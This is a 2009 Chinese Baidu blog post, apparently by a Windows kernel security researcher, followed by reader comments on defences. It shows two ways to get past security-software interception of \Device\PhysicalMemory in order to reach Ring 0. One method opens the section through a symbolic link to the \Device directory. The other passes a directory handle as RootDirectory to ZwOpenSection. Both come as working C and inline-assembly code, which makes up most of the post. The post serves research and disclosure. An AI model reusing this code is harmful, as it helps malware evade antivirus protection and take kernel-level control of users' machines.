百度空间 | 百度首页 
 
查看文章
 
续PhysicalMemory攻击
2009-07-24 02:43

之前曾讲过通过PhysicalMemory进入RING0的一些绕过攻击方式:(http://hi.baidu.com/mj0011/blog/item/1c92ed03bea96d80d53f7c00.html

其中提到的为\Device\PhysicalMemory创建符号链接的方式来绕过对ZwOpenSection打开这个Section的拦截,这个实际很多安全软件都已经防御了,例如Comodo , 卡巴,等等,但是他们仅仅是拦截对\Device\PhysicalMemory的Symbolic Link创建,这样足够吗?

答案当然是否定的。我们仔细看\Device\PhyscialMemory这个路径,实际它由\Device这个对象目录和PhysicalMemory这个Section Name组成,那么很简单了,我们创建对\Device这个对象目录的映射,例如叫123,这个不会有人拦截,然后再打开\123\PhysicalMemory, 这样就绕过了拦截,得到了物理内存对象的句柄,轻松进入RING0,具体实现代码如下:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID pAddr = GetProcAddress(hlib , "ZwOpenSection");
PVOID pAddr2 = GetProcAddress(hlib , "ZwCreateSymbolicLinkObject");
HANDLE shandle ;
PHANDLE psechandle = &shandle ;
LONG stat ;
HANDLE symhandle ;
PHANDLE psymhandle = &symhandle;
OBJECT_ATTRIBUTES oba ;
OBJECT_ATTRIBUTES oba2 ;
UNICODE_STRING smbname = RTL_CONSTANT_STRING(L"\\Device");
UNICODE_STRING linkname = RTL_CONSTANT_STRING(L"\\??\\123");
UNICODE_STRING phname = RTL_CONSTANT_STRING(L"\\??\\123\\PhysicalMemory");

InitializeObjectAttributes(&oba2 , &linkname , 0x40 , 0 , 0);
InitializeObjectAttributes(&oba , &phname , 0x40 , 0 , 0 );
__asm
{
   lea eax ,smbname
   push eax
   lea eax ,oba2
   push eax
   push 1
   push psymhandle
   call pAddr2
   lea eax , oba
   push eax
   push    2
   push psechandle
   call    pAddr
}

有了上面的启发,我们很容易可以想到另外一种攻击方式,来绕过对打开物理内存对象拦截,那就是用ZwOpenDirectoryObject打开\Device这个对象目录,然后设置ZwOpenSection的参数ObjectAttributes的RootDirectory域,设为\Device这个对象目录的句柄,那么同样可以顺利打开物理内存对象的句柄,进入RING0。代码如下:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID pAddr = GetProcAddress(hlib , "ZwOpenSection");
PVOID pAddr3 = GetProcAddress(hlib , "ZwOpenDirectoryObject");
HANDLE shandle ;
PHANDLE psechandle = &shandle ;
LONG stat ;
OBJECT_ATTRIBUTES oba ;
UNICODE_STRING smbname = RTL_CONSTANT_STRING(L"\\Device");
UNICODE_STRING phname = RTL_CONSTANT_STRING(L"PhysicalMemory");
HANDLE dirhandle ;
PHANDLE pdirhandle = &dirhandle;
OBJECT_ATTRIBUTES oba3 ;

InitializeObjectAttributes(&oba3 , &smbname , 0x40 , 0 , 0);

__asm
{
   lea eax , oba3
   push eax
   push 1
   push pdirhandle
   call pAddr3
}
InitializeObjectAttributes(&oba , &phname , 0x40 , dirhandle , 0 );

__asm
{
   lea eax , oba
   push eax
   push    2
   push psechandle
   call    pAddr
}


类别:默认分类 | 添加到搜藏 | 浏览() | 评论 (9)
 
最近读者:
 
网友评论:
1
2009-07-24 03:51 | 回复
沙发~不定期流血的MJ
 
2
2009-07-24 09:15 | 回复
楼上的很强大
 
3
2009-07-24 09:20 | 回复
看样子防止物理内存应用层XX,必须要hook在那个Device的Routine上呢~
 
4
2009-07-24 10:35 | 回复
学习
 
6
2009-07-24 21:22 | 回复
是啊,v校说的不错,所以对设备的过滤就应该中规中矩的用过滤驱动,Attach到PhysicalMemory那设备上,然后过滤IRP_MJ_CREATE操作。
 
7
2009-07-24 22:48 | 回复
楼上一堆不懂装懂的~
PhysicalMemory根本就不是设备
 
8
2009-07-25 05:06 | 回复
Device\PhysicalMemory是个Device,但是它是SectionObject,你打开这玩意获得只能是SectionObject而已,说它的Routine是说objectType的...
误解的人请飘过吧~
 
9
2009-07-25 09:58 | 回复
Device的Routine
Attach , IRP_MJ_CREATE

可惜的,是SectionObject,连ObjectType的routine,也没有,ObjectTypeInitializer内只有DeleteProcedure~
难道楼上还指望着有一个MmParseSection ? 哈哈
 
13
2009-07-25 23:09 | 回复
回复mj0011:为NULL的Routine是可以自己再次填写的。

MJ啊莫非你没有试过?自己填写?
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu